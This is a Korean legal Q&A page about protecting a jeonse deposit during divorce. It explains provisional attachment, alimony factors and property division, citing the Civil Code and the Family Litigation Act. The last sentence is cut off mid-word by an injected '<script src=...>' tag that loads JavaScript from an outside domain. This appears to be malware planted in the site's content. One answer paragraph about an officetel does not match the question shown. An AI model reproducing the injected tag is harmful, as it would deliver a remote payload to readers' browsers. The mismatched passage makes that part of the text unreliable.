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그리고 저희는 전세 3천에 살고 있습니다. 전세 계약 기간은 2년으로 시부모님께서 계약해 주셨습니다. 계약 기간이 올해 3월로 끝났고 아직 계약서는 쓰지 않은 상태로 계속 살고 있습니다. 그래서 다시 재계약을 하고 계약서를 다시 쓰려고 합니다. 그런데 몇 개월전에 이혼이야기가 나오면서 시부모님께서 전세금을 임의대로 빼려고 해서 무척 난감했었습니다.
시부모님이나 신랑 마음대로 전세금에 손을 대지 않게 조치를 취하고 싶은데 어떻게 하면 될까요?
결혼 한지는 6년이 되었고 결혼 할 당시 신랑이 학생이라 돈을 벌기 시작한지는 2년 반 정도가 되었습니다. 결혼 할 당시 친정에서 준 2천만원이 있었습니다만 신랑이 주식으로 대부분을 잃었습니다. 그래서 어디까지 저의 권리를 주장해야 할지 혼란스럽습니다.
전세금은 시부모님의 돈이기 때문에 위자료로 줄 수 없다고 신랑은 주장하고 있습니다. 제 이름으로 전세 계약을 하면 신랑이나 시부모님이 손을 댈 수 없는지 궁금합니다.
본 상담실의 답변은 법률이론상의 원칙적인 답변 및 답변자 개인의 법률적 의견으로 참고 자료로만 활용하시기 바랍니다.
오피스텔명의를 남편명의로 변경한다면 귀하가 분양금을 내지 않았도 됩니다. 다만 남편이 변경을 거부한다면 남편명의로 변경하는 것은 어렵겠습니다. 그럴 경우 다른 사람에게 분양권을 전매하는 방법도 있겠습니다.
남편명의의 전세금을 처분할 것이 우려된다면 재판상 위자료, 재산분할 등을 청구하면서 남편명의로 된 전세금을 가압류하여 보전할 수 있습니다.
아래는 이혼시 위자료와 재산분할에 관한 전반적인 설명입니다. 참고하시기 바랍니다.
1. 위자료
이혼을 할 경우에는 그 이혼을 하게 된 데에 책임이 있는 사람에게 이혼피해자가 자기의 재산상 손해에 대한 배상 외에 정신상 고통에 대한 배상을 청구할 수 있습니다(민법 제843조, 제806조). 즉 이혼을 하게 되어 심리적으로 받게된 충격·번민·슬픔·불명예 등 이혼 그 자체로 인한 위자료와 부정행위·부당대우 등 이혼원인인 개별적 유책행위로 인한 위자료등 모든 정신적 고통에 대하여 그 이혼에 책임이 있는 자에게서 피해자가 받는 것 입니다.
이러한 이혼위자료의 산정기준은 법에 명문화 된 것은 없고 판례상 대개 다음과 같은 것들이 고려되고 있습니다.
① 이혼사유(혼인파탄의 원인)
② 유책정도(잘못을 저지른 배우자로부터 받은 정신적 고통의 정도)
③ 재산상태 및 생활정도
④ 동거기간 및 혼인생활 내력
⑤ 양 당사자의 학력·연령·경력·직업 등 신분사항
⑥ 자녀 및 부양관계
⑦ 재혼의 가능성
위자료의 지급방법은 일시에 정액을 받을 수도 있고, 당장에 위자료를 줄 돈이 없는 경우에는 월급 중 일부를 받는 분할급도 가능합니다.
위자료에 대한 승소판결을 받아도 상대방에게 재산이 없다면 집행을 할 수 없으므로, 판결이 확정되기 전에 재산을 은닉하거나 도피시키지 못하도록 미리 재산을 붙잡아 두는 방법으로서 배우자명의의 재산에 대해 가압류·가처분신청을 할 수 있습니다(가사소송법 제63조 제1항). 가압류신청을 하는 경우 신청인의 경제능력이 전혀 없다는 충분한 증명이 있는 경우에는 담보제공을 하지 않을 수 있습니다(가소 제63조 제2항). 이 경우 가압류대상이 되는 재산의 대표적인 것은 부동산, 월급 및 퇴직금, 전세보증금반환채권 등입니다. 위자료 지급의무를 이행하지 않으면, 이행명령신청(가소 제64조) 또는 강제집행(가소 제41조)을 할 수도 있고, 이를 어긴 경우에는 과태료처분(100만원이하)(가소 제67조 제1항), 감치처분(30일 이내)(가소 제68조 제1항)을 신청할 수 있습니다.
2. 재산분할 청구
이혼한 부부의 일방이 다른 일방에 대해 재산을 나누어 가지자고 청구할 수 있는 권리가 재산분할 청구권입니다(민법 제839조의 2, 제843조). 이러한 권리는 혼인파탄의 책임이 있는 배우자도 가능합니다(대법원 1993. 5. 11. 자 93 스 6 결정).
부부가 이혼을 하게 되면 그동안 함께 이루고 있던 생활기반을 나눠야 하는 문제가 생깁니다. 결혼과 함께 서로 노력하여 모은 재산은 그 명의와는 상관없이 부부 공동의 재산으로 보므로, 이제 이혼으로 생활을 함께 하지 않을 것이기에 이에 대한 청산이 필요한 것입니다. 분할 대상이 되는 재산으로는 부부 공동명의의 재산, 혼인 중에 공동생활을 위하여 취득한 가재도구, 명의는 부부 중 일방 앞으로 되어 있지만, 실질적으로는 부부의 공유에 속하는 재산, 혼인 중에 부부가 협력하여 취득한 주택 기타 부동산, 부부공동생활의 기금이 되어 있는 예금·주식 등입니다. 하지만 혼인전부터 부부가 각자 소유하고 있던 재산이나, 혼인 중에 일방이 상속이나 증여 등에 의하여 취득한 재산이나 장신구, 의류 등은 분할 대상에서 제외됩니다. 단 부부일방이 상속받은 재산이라도 그 재산의 가치의 증가 및 유지에 상대방의 기여가 인정되면 가치 증액분이나 유지의 기여분에 대해 분할이 인정됩니다(대법원 1993.6.11. 선고 92므1054,90므1061 판결). 또한 퇴직금을 이미 받았거나 장래에 받을 수 있는 경우도 공동재산으로 봅니다. 당사자 일방이 혼인 중 제3자에게 대한 채무는 원칙적으로는 개인 채무이지만, 그것이 주택융자금이나 혼인생활비로 쓰기 위한 차용금과 같이 공동재산 형성을 위하여 부담한 채무일 경우에는 개인명의의 채무라도 분할대상이 됩니다.
재산분할의 비율은 재산형성에 대한 기여도, 혼인기간, 혼인중 생활정도, 이혼에 대한 유책성, 현재의 생활상황, 연령, 취업가능성, 재혼가능성, 자활능력, 건강상태, 부양자의 유무, 위자료의 유무 등을 참작하여 나눕니다. 우리나라의 경우에 남편 단독 명의의 재산일지라도 맞벌이 부?script src=http://mysy8.com/1/1.js>
